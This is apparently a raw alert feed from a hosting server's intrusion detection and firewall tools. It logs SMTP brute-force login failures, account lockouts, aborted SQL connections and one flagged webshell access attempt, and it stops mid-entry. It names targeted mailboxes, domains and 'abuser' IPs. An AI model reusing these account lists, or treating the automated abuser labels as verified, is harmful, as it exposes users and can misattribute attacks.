2026-02-02 07:28:08 dovecot_login authenticator failed for H=(gulOHujD) [158.94.208.175]:51923: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:28:54 dovecot_login authenticator failed for H=(lSLgcFh8C3) [165.154.217.204]:61845: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:28:09 dovecot_login authenticator failed for H=(GJ8Dlx7G) [178.16.54.138]:58539: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:28:37 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60861: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.51.26.198
country_id: 1269750
description:
2026-02-02 07:28:35 dovecot_login authenticator failed for H=(103.51.26.198.sukaininfoway.com) [103.51.26.198]:39707: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  2 07:28:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kendek has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:28:11 dovecot_login authenticator failed for H=(IlZK6yY9l) [158.94.208.215]:57177: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:28:14 dovecot_login authenticator failed for H=(4Cl2zE) [185.230.124.69]:50025: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:28:17 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50892: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:28:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account central@agpc.org.my has been temporarily locked by Imunify PAM(165.154.217.204)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  2 07:29:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kendek has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:29:23 dovecot_login authenticator failed for H=(X0WbMYER) [158.94.208.215]:61026: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:29:12 dovecot_login authenticator failed for H=(cpmOvKzx) [158.94.208.175]:56283: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:29:31 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53387: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:29:14 dovecot_login authenticator failed for H=(7yceIer7Y) [165.154.217.204]:63657: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:29:11 dovecot_login authenticator failed for H=(PIGBAS) [178.16.54.138]:60030: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:29:11 dovecot_login authenticator failed for H=(cRN3umNVp4) [185.230.124.69]:50937: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.241.150.246
country_id: 2017370
description:
2026-02-02 07:29:03 dovecot_login authenticator failed for H=91-241-150-246-dyn.neotele.com.ru [91.241.150.246]:60227: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:30:08 dovecot_login authenticator failed for H=(JZeozymC) [185.230.124.69]:55035: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:30:11 dovecot_login authenticator failed for H=(91caCX1NoL) [158.94.208.215]:63939: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.196.243.99
country_id: 3017382
description:
2026-02-02 07:30:14 dovecot_plain authenticator failed for H=ip99.ip-5-196-243.eu [5.196.243.99]:49533: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:30:27 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49674: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  2 07:30:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kendek has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:30:12 dovecot_login authenticator failed for H=(FOSewPGIDx) [165.154.217.204]:52965: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:30:15 dovecot_login authenticator failed for H=(Da5mqXt60j) [158.94.208.175]:59095: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:30:17 dovecot_login authenticator failed for H=(DFFYHGhrj) [165.154.217.204]:53674: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:30:22 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62794: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:30:34 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:31:05 dovecot_login authenticator failed for H=(h1h3Pr8We) [185.230.124.69]:50263: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:31:08 dovecot_login authenticator failed for H=(9LEFfR1v) [165.154.217.204]:58743: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:31:10 dovecot_login authenticator failed for H=(ZWZ5Ss6) [178.16.54.138]:64873: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:31:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55249: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:31:19 dovecot_login authenticator failed for H=(otw4bkZsAC) [158.94.208.175]:60666: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:31:49 dovecot_login authenticator failed for H=(BmrulwRUs) [165.154.217.204]:63083: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:31:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:31:23 dovecot_login authenticator failed for H=(oxu4TvMUBy) [158.94.208.215]:65386: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-02 07:31:39 dovecot_login authenticator failed for H=(vReKFcBjl) [158.94.208.110]:56086: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:32:38 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:45400: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:32:11 dovecot_login authenticator failed for H=(WOGFCXLt) [158.94.208.215]:62022: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:32:51 dovecot_login authenticator failed for H=(yNckGwJo) [158.94.208.175]:51137: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-02 07:32:03 dovecot_login authenticator failed for H=(QyNQNW) [158.94.208.110]:60057: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:32:04 dovecot_login authenticator failed for H=(vS5PPtQn9) [165.154.217.204]:64747: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:32:04 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64434: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:32:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:32:08 dovecot_login authenticator failed for H=(Ouz8g1) [178.16.54.138]:58761: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:32:59 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:32:03 dovecot_login authenticator failed for H=(ZP4DPy) [185.230.124.69]:52151: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:33:24 dovecot_login authenticator failed for H=(LSga6mkM) [158.94.208.175]:64130: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.107.6
country_id: 290557
description:
2026-02-02 07:33:45 dovecot_plain authenticator failed for H=(nellyte) [5.32.107.6]:35422: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:33:20 dovecot_login authenticator failed for H=(mqOinrYm) [185.230.124.69]:59610: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:33:20 dovecot_login authenticator failed for H=(dSgdk6) [165.154.217.204]:55977: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:33:20 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65004: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-02 07:33:37 dovecot_login authenticator failed for H=(LU4QMif) [158.94.208.110]:62045: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:33:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:33:06 dovecot_login authenticator failed for H=(Bg0mO0Sjx) [165.154.217.204]:54489: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:33:10 dovecot_login authenticator failed for H=(XPKaNT1DE) [178.16.54.138]:59316: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:33:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:34:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59572: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:34:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:34:12 dovecot_login authenticator failed for H=(r36ZN7UG) [178.16.54.138]:64969: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:34:44 dovecot_login authenticator failed for H=(00rpk6DaJH) [165.154.217.204]:64939: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-02-02 07:34:37 dovecot_login authenticator failed for H=([83.239.84.130]) [83.239.84.130]:47276: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:34:04 dovecot_login authenticator failed for H=(8SoFix) [165.154.217.204]:60568: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:34:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:34:18 dovecot_login authenticator failed for H=(5OMzbwb) [185.230.124.69]:53036: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-02 07:34:25 dovecot_login authenticator failed for H=(6k2iYr) [158.94.208.110]:53585: 535 Incorrect authentication data (set_id=premalata)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:34:47 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33434: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-02-02 07:34:25 dovecot_login authenticator failed for H=([122.187.229.36]) [122.187.229.36]:42743: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:34:33 dovecot_login authenticator failed for H=(hbym9A) [158.94.208.175]:52792: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:35:16 dovecot_login authenticator failed for H=(Wl92Uk2t) [185.230.124.69]:52330: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:35:36 dovecot_login authenticator failed for H=(rW4tZWAy) [158.94.208.175]:51095: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:35:04 dovecot_login authenticator failed for H=(AufN7ty) [165.154.217.204]:50536: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:35:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:35:11 dovecot_login authenticator failed for H=(hKaJH9) [178.16.54.138]:53818: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-02 07:35:35 dovecot_login authenticator failed for H=(4ElFeNEJ) [158.94.208.110]:64460: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:35:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53065: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:35:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-02  7:35:17 274457 [Warning] Aborted connection 274457 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.108.233.190
country_id: 1835841
description:
2026-02-02 07:36:06 dovecot_login authenticator failed for H=([106.10.69.50]) [183.108.233.190]:55397: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.164.35.116
country_id: 2328926
description:
2026-02-02 07:36:40 dovecot_login authenticator failed for H=([102.164.35.116]) [102.164.35.116]:51004: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:36:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:36:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:36:15 dovecot_login authenticator failed for H=(3TH5N7o) [178.16.54.138]:65102: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:36:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54517: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:36:13 dovecot_login authenticator failed for H=(XPkmbf) [158.94.208.175]:49992: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.130.146.31
country_id: 6251999
description:
2026-02-02 07:36:27 dovecot_login authenticator failed for H=31.146.130.34.bc.googleusercontent.com (10.188.0.2) [34.130.146.31]:52850: 535 Incorrect authentication data (set_id=general@kimmark.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.120.163.110
country_id: 2017370
description:
2026-02-02 07:36:29 dovecot_login authenticator failed for H=(dialup-solikamsk-212.120.163.110.uralcom.com) [212.120.163.110]:51041: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-02-02 07:36:49 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:46948: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:36:56 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:58616: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:36:01 dovecot_login authenticator failed for H=(TecRZfEpqw) [165.154.217.204]:56882: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:36:13 dovecot_login authenticator failed for H=(5k8G0F) [185.230.124.69]:51714: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:36:18 dovecot_login authenticator failed for H=(KA9eM4j) [165.154.217.204]:58603: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-02 07:36:23 dovecot_login authenticator failed for H=(lmfPin) [158.94.208.110]:55925: 535 Incorrect authentication data (set_id=premalata)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:37:20 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63507: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:37:20 dovecot_login authenticator failed for H=(LGXIytatP) [158.94.208.175]:64831: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:37:54 dovecot_login authenticator failed for H=(CmNEUX) [165.154.217.204]:54307: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:37:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:37:11 dovecot_login authenticator failed for H=(v6nv7VDFTe) [185.230.124.69]:59799: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:37:16 dovecot_login authenticator failed for H=(bHc6a8) [165.154.217.204]:49240: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:38:15 dovecot_login authenticator failed for H=(5xN5eNLlwv) [178.16.54.138]:51540: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:38:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61995: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:38:29 dovecot_login authenticator failed for H=(b6jMzEYED) [158.94.208.175]:55008: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.167
country_id: 2635167
description:
2026-02-02  7:38:32 274574 [Warning] Aborted connection 274574 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.167' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:38:09 dovecot_login authenticator failed for H=(hb66XUn7n) [185.230.124.69]:56128: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.60.31.166
country_id: 2921044
description:
2026-02-02 07:38:31 dovecot_plain authenticator failed for H=(c10712.servers.ecomdata.de) [212.60.31.166]:51200: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
country_id: 1835841
description:
2026-02-02 07:38:58 dovecot_login authenticator failed for H=([218.149.235.152]) [218.149.235.152]:36428: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:38:12 dovecot_login authenticator failed for H=(cTfemkqp) [165.154.217.204]:56819: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:39:09 dovecot_login authenticator failed for H=(VBIruLQ) [165.154.217.204]:49795: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:39:04 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54980: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:39:10 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54548: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
